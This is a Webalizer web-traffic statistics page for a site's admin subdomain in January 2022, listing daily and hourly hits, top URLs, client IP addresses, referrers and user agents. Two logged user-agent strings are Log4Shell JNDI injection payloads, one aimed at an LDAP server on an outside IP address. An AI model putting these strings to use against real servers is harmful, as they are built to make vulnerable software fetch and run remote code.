Usage Statistics for admin.anwalt-freilassing.de

Summary Period: January 2022
Generated 01-Feb-2022 03:18 CET

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for January 2022
Total Hits 2795
Total Files 2059
Total Pages 1699
Total Visits 83
Total kB Files 11210
Total Unique Sites 51
Total Unique URLs 508
Total Unique Referrers 4
Total Unique User Agents 22
. Avg Max
Hits per Hour 3 524
Hits per Day 90 557
Files per Day 66 515
Pages per Day 54 343
Sites per Day 1 11
Visits per Day 2 13
kB Files per Day 362 2921
Hits by Response Code
Code 200 - OK 73.67% 2059
Code 404 - Not Found 26.33% 736

Daily usage for January 2022

Daily Statistics for January 2022
Day Hits Files Pages Visits Sites kB F
1 446 15.96% 352 17.10% 343 20.19% 1 1.20% 7 13.73% 2921 26.06%
2 230 8.23% 140 6.80% 140 8.24% 4 4.82% 9 17.65% 700 6.25%
3 1 0.04% 0 0.00% 1 0.06% 1 1.20% 1 1.96% 0 0.00%
4 1 0.04% 1 0.05% 1 0.06% 1 1.20% 1 1.96% 0 0.00%
5 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00%
6 45 1.61% 23 1.12% 25 1.47% 10 12.05% 3 5.88% 139 1.24%
7 114 4.08% 74 3.59% 74 4.36% 13 15.66% 2 3.92% 466 4.15%
8 164 5.87% 92 4.47% 92 5.41% 11 13.25% 3 5.88% 473 4.22%
9 327 11.70% 233 11.32% 179 10.54% 6 7.23% 11 21.57% 1060 9.45%
10 326 11.66% 221 10.73% 197 11.60% 6 7.23% 9 17.65% 1286 11.47%
11 182 6.51% 74 3.59% 69 4.06% 4 4.82% 5 9.80% 353 3.15%
12 8 0.29% 7 0.34% 2 0.12% 2 2.41% 6 11.76% 19 0.17%
13 557 19.93% 515 25.01% 300 17.66% 2 2.41% 5 9.80% 2196 19.59%
14 13 0.47% 13 0.63% 0 0.00% 0 0.00% 7 13.73% 35 0.31%
15 6 0.21% 5 0.24% 3 0.18% 3 3.61% 6 11.76% 14 0.12%
16 12 0.43% 11 0.53% 3 0.18% 3 3.61% 10 19.61% 27 0.24%
17 26 0.93% 23 1.12% 3 0.18% 2 2.41% 11 21.57% 63 0.56%
18 4 0.14% 4 0.19% 0 0.00% 0 0.00% 2 3.92% 10 0.09%
19 8 0.29% 7 0.34% 2 0.12% 2 2.41% 6 11.76% 19 0.17%
20 1 0.04% 1 0.05% 1 0.06% 1 1.20% 1 1.96% 1 0.01%
21 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00%
22 3 0.11% 2 0.10% 3 0.18% 3 3.61% 3 5.88% 4 0.03%
23 1 0.04% 1 0.05% 1 0.06% 1 1.20% 1 1.96% 1 0.01%
24 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00%
25 3 0.11% 2 0.10% 3 0.18% 3 3.61% 3 5.88% 4 0.03%
26 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 0 0.00%
27 1 0.04% 1 0.05% 1 0.06% 1 1.20% 1 1.96% 2 0.01%
28 1 0.04% 1 0.05% 1 0.06% 1 1.20% 1 1.96% 0 0.00%
29 1 0.04% 1 0.05% 1 0.06% 1 1.20% 1 1.96% 2 0.01%
30 1 0.04% 1 0.05% 1 0.06% 1 1.20% 1 1.96% 2 0.01%
31 313 11.20% 254 12.34% 253 14.89% 3 3.61% 5 9.80% 1415 12.62%

Hourly usage for January 2022

Hourly Statistics for January 2022
Hour Hits Files Pages kB F
Avg Total Avg Total Avg Total Avg Total
0 4 144 5.15% 2 83 4.03% 3 97 5.71% 15 450 4.01%
1 3 104 3.72% 2 76 3.69% 2 73 4.30% 14 435 3.88%
2 3 102 3.65% 2 74 3.59% 2 71 4.18% 12 364 3.25%
3 3 111 3.97% 3 97 4.71% 2 81 4.77% 16 484 4.31%
4 3 99 3.54% 2 72 3.50% 2 69 4.06% 12 384 3.42%
5 3 100 3.58% 2 70 3.40% 2 62 3.65% 11 341 3.05%
6 2 92 3.29% 1 60 2.91% 1 45 2.65% 10 308 2.75%
7 3 98 3.51% 1 60 2.91% 1 54 3.18% 11 338 3.02%
8 3 118 4.22% 2 76 3.69% 2 73 4.30% 17 525 4.68%
9 4 129 4.62% 3 95 4.61% 2 92 5.41% 44 1379 12.30%
10 4 124 4.44% 2 92 4.47% 2 91 5.36% 25 772 6.89%
11 2 91 3.26% 2 64 3.11% 1 60 3.53% 10 296 2.64%
12 3 119 4.26% 3 95 4.61% 2 90 5.30% 16 497 4.43%
13 4 130 4.65% 3 97 4.71% 2 92 5.41% 17 514 4.58%
14 2 72 2.58% 1 43 2.09% 1 37 2.18% 6 174 1.55%
15 2 74 2.65% 1 40 1.94% 1 36 2.12% 6 173 1.54%
16 19 596 21.32% 17 554 26.91% 10 314 18.48% 77 2372 21.16%
17 2 71 2.54% 1 40 1.94% 1 33 1.94% 5 160 1.43%
18 2 73 2.61% 1 42 2.04% 1 35 2.06% 5 168 1.50%
19 2 76 2.72% 1 50 2.43% 1 38 2.24% 7 230 2.05%
20 2 67 2.40% 1 35 1.70% 1 33 1.94% 5 166 1.48%
21 1 55 1.97% 1 40 1.94% 0 30 1.77% 6 188 1.67%
22 2 64 2.29% 1 42 2.04% 1 36 2.12% 7 205 1.83%
23 2 86 3.08% 2 62 3.01% 1 57 3.35% 9 286 2.55%

Top 30 of 508 Total URLs
# Hits kB F URL
1 35 1.25% 39 0.35% /
2 27 0.97% 54 0.48% /admin.webalizer/agent_202005.html
3 21 0.75% 120 1.07% /webalizer/agent_202101.html
4 18 0.64% 1354 12.08% /webalizer/agent_202102.html
5 17 0.61% 143 1.28% /webalizer/usage_202011.html
6 16 0.57% 27 0.24% /admin.webalizer/site_202111.html
7 16 0.57% 158 1.41% /webalizer/site_201903.html
8 15 0.54% 32 0.28% /admin.webalizer/agent_202009.html
9 15 0.54% 79 0.71% /admin.webalizer/usage_201907.html
10 15 0.54% 77 0.69% /webalizer/agent_202009.html
11 15 0.54% 147 1.31% /webalizer/site_201811.html
12 15 0.54% 124 1.11% /webalizer/usage_201907.html
13 14 0.50% 116 1.03% /webalizer/usage_202005.html
14 13 0.47% 98 0.88% /admin.webalizer/usage_202103.html
15 13 0.47% 95 0.84% /admin.webalizer/usage_202112.html
16 13 0.47% 122 1.09% /webalizer/site_201906.html
17 12 0.43% 43 0.38% /admin.webalizer/usage_201902.html
18 12 0.43% 71 0.63% /admin.webalizer/usage_201910.html
19 11 0.39% 20 0.18% /admin.webalizer/
20 11 0.39% 32 0.29% /admin.webalizer/url_202112.html
21 11 0.39% 42 0.38% /admin.webalizer/usage_201903.html
22 11 0.39% 48 0.43% /admin.webalizer/usage_201904.html
23 11 0.39% 73 0.65% /admin.webalizer/usage_202106.html
24 11 0.39% 45 0.40% /admin.webalizer/usage_202201.html
25 11 0.39% 58 0.51% /webalizer/agent_202001.html
26 11 0.39% 75 0.67% /webalizer/usage_202003.html
27 10 0.36% 17 0.15% /admin.webalizer/ref_202007.html
28 10 0.36% 14 0.13% /admin.webalizer/site_202003.html
29 10 0.36% 17 0.15% /admin.webalizer/site_202007.html
30 10 0.36% 25 0.22% /admin.webalizer/url_202101.html
View All URLs

Top 10 of 508 Total URLs By kB F
# Hits kB F URL
1 18 0.64% 1354 12.08% /webalizer/agent_202102.html
2 16 0.57% 158 1.41% /webalizer/site_201903.html
3 15 0.54% 147 1.31% /webalizer/site_201811.html
4 17 0.61% 143 1.28% /webalizer/usage_202011.html
5 15 0.54% 124 1.11% /webalizer/usage_201907.html
6 13 0.47% 122 1.09% /webalizer/site_201906.html
7 21 0.75% 120 1.07% /webalizer/agent_202101.html
8 14 0.50% 116 1.03% /webalizer/usage_202005.html
9 5 0.18% 102 0.91% /webalizer/ref_202102.html
10 13 0.47% 98 0.88% /admin.webalizer/usage_202103.html

Top 10 of 32 Total Entry Pages
# Hits Visits URL
1 35 1.25% 32 45.07% /
2 7 0.25% 3 4.23% /admin.webalizer/agent_202112.html
3 11 0.39% 3 4.23% /admin.webalizer/usage_201903.html
4 12 0.43% 3 4.23% /admin.webalizer/usage_201910.html
5 9 0.32% 2 2.82% /admin.webalizer/url_201912.html
6 9 0.32% 2 2.82% /webalizer/
7 11 0.39% 1 1.41% /admin.webalizer/
8 5 0.18% 1 1.41% /admin.webalizer/agent_202102.html
9 4 0.14% 1 1.41% /admin.webalizer/agent_202103.html
10 4 0.14% 1 1.41% /admin.webalizer/ref_202005.html

Top 10 of 32 Total Exit Pages
# Hits Visits URL
1 35 1.25% 26 38.81% /
2 7 0.25% 4 5.97% /admin.webalizer/agent_202112.html
3 11 0.39% 3 4.48% /admin.webalizer/usage_201903.html
4 12 0.43% 3 4.48% /admin.webalizer/usage_201910.html
5 9 0.32% 2 2.99% /admin.webalizer/url_201912.html
6 10 0.36% 2 2.99% /admin.webalizer/url_202110.html
7 9 0.32% 2 2.99% /webalizer/
8 11 0.39% 1 1.49% /admin.webalizer/
9 3 0.11% 1 1.49% /admin.webalizer/agent_202106.html
10 6 0.21% 1 1.49% /admin.webalizer/ref_202009.html

Top 30 of 51 Total Sites
# Hits Files kB F Visits Hostname
1 2039 72.95% 1369 66.49% 8545 76.23% 42 50.60% 62.138.2.160
2 524 18.75% 511 24.82% 2177 19.42% 1 1.20% 85.25.210.81
3 30 1.07% 1 0.05% 11 0.10% 1 1.20% 194.163.153.136
4 28 1.00% 28 1.36% 86 0.77% 0 0.00% 62.138.3.52
5 20 0.72% 20 0.97% 60 0.54% 0 0.00% 62.138.2.214
6 20 0.72% 20 0.97% 63 0.56% 0 0.00% 85.25.177.139
7 17 0.61% 17 0.83% 52 0.46% 0 0.00% 62.138.6.15
8 17 0.61% 17 0.83% 46 0.41% 0 0.00% 85.25.210.23
9 16 0.57% 16 0.78% 48 0.43% 0 0.00% 62.138.2.14
10 16 0.57% 16 0.78% 48 0.42% 0 0.00% 85.25.185.103
11 13 0.47% 13 0.63% 34 0.30% 0 0.00% 62.138.3.40
12 5 0.18% 1 0.05% 2 0.01% 1 1.20% 165.227.115.229
13 4 0.14% 1 0.05% 2 0.02% 1 1.20% 104.166.183.131
14 4 0.14% 1 0.05% 2 0.02% 1 1.20% 43.133.109.217
15 3 0.11% 3 0.15% 5 0.04% 3 3.61% 92.118.160.61
16 2 0.07% 2 0.10% 3 0.02% 2 2.41% 152.89.239.188
17 2 0.07% 2 0.10% 2 0.02% 2 2.41% 31.172.80.200
18 2 0.07% 2 0.10% 3 0.03% 2 2.41% 34.96.130.25
19 1 0.04% 0 0.00% 0 0.00% 1 1.20% 128.199.109.135
20 1 0.04% 1 0.05% 2 0.01% 1 1.20% 136.144.172.189
21 1 0.04% 1 0.05% 2 0.01% 1 1.20% 143.198.11.118
22 1 0.04% 1 0.05% 0 0.00% 1 1.20% 143.198.13.184
23 1 0.04% 1 0.05% 2 0.01% 1 1.20% 157.245.220.216
24 1 0.04% 1 0.05% 1 0.01% 1 1.20% 162.142.125.194
25 1 0.04% 0 0.00% 0 0.00% 1 1.20% 162.214.208.84
26 1 0.04% 0 0.00% 0 0.00% 1 1.20% 167.172.133.111
27 1 0.04% 1 0.05% 0 0.00% 0 0.00% 18.192.36.99
28 1 0.04% 0 0.00% 0 0.00% 1 1.20% 185.162.147.26
29 1 0.04% 0 0.00% 0 0.00% 0 0.00% 185.225.39.112
30 1 0.04% 0 0.00% 0 0.00% 1 1.20% 198.20.170.59
View All Sites

Top 10 of 51 Total Sites By kB F
# Hits Files kB F Visits Hostname
1 2039 72.95% 1369 66.49% 8545 76.23% 42 50.60% 62.138.2.160
2 524 18.75% 511 24.82% 2177 19.42% 1 1.20% 85.25.210.81
3 28 1.00% 28 1.36% 86 0.77% 0 0.00% 62.138.3.52
4 20 0.72% 20 0.97% 63 0.56% 0 0.00% 85.25.177.139
5 20 0.72% 20 0.97% 60 0.54% 0 0.00% 62.138.2.214
6 17 0.61% 17 0.83% 52 0.46% 0 0.00% 62.138.6.15
7 16 0.57% 16 0.78% 48 0.43% 0 0.00% 62.138.2.14
8 16 0.57% 16 0.78% 48 0.42% 0 0.00% 85.25.185.103
9 17 0.61% 17 0.83% 46 0.41% 0 0.00% 85.25.210.23
10 13 0.47% 13 0.63% 34 0.30% 0 0.00% 62.138.3.40

Top 4 of 4 Total Referrers
# Hits Referrer
1 2789 99.79% - (Direct Request)
2 4 0.14% http://admin.anwalt-freilassing.de
3 1 0.04% https://www.bing.com
4 1 0.04% https://www.netcraft.com/survey/

Top 15 of 22 Total User Agents
# Hits User Agent
1 2547 91.13% Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
2 162 5.80% Mozilla/5.0 (compatible; adscanner/)/1.0 (Mozilla/5.0 (compatible; seoscanners.net/1.0; +spider@seoscanners.net); http://seos
3 30 1.07% Mozilla/5.0 (Linux; Android 5.1.1; SM-J111F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.90 Mobile Safari/537.36
4 11 0.39% Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
5 7 0.25% Expanse indexes the network perimeters of our customers. If you have any questions or concerns, please reach out to: scaninfo
6 6 0.21% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
7 5 0.18% Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
8 4 0.14% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
9 4 0.14% Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)
10 4 0.14% NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com
11 2 0.07% Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
12 2 0.07% Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com)
13 2 0.07% python-requests/2.23.0
14 1 0.04% ${jndi:ldap://${hostName}.useragent.{152.89.239.188:1389/a}}
15 1 0.04% ${jndi:ldap://x${hostName}.L4J.m1mnxmzormc5jsxgnw7bipjpc.canarytokens.com/a}
View All User Agents

Usage by Country for January 2022

Top 1 of 1 Total Countries
# Hits Files kB F Country
1 2795 100.00% 2059 100.00% 11210 100.00% Unresolved/Unknown


Generated by Webalizer Version 2.23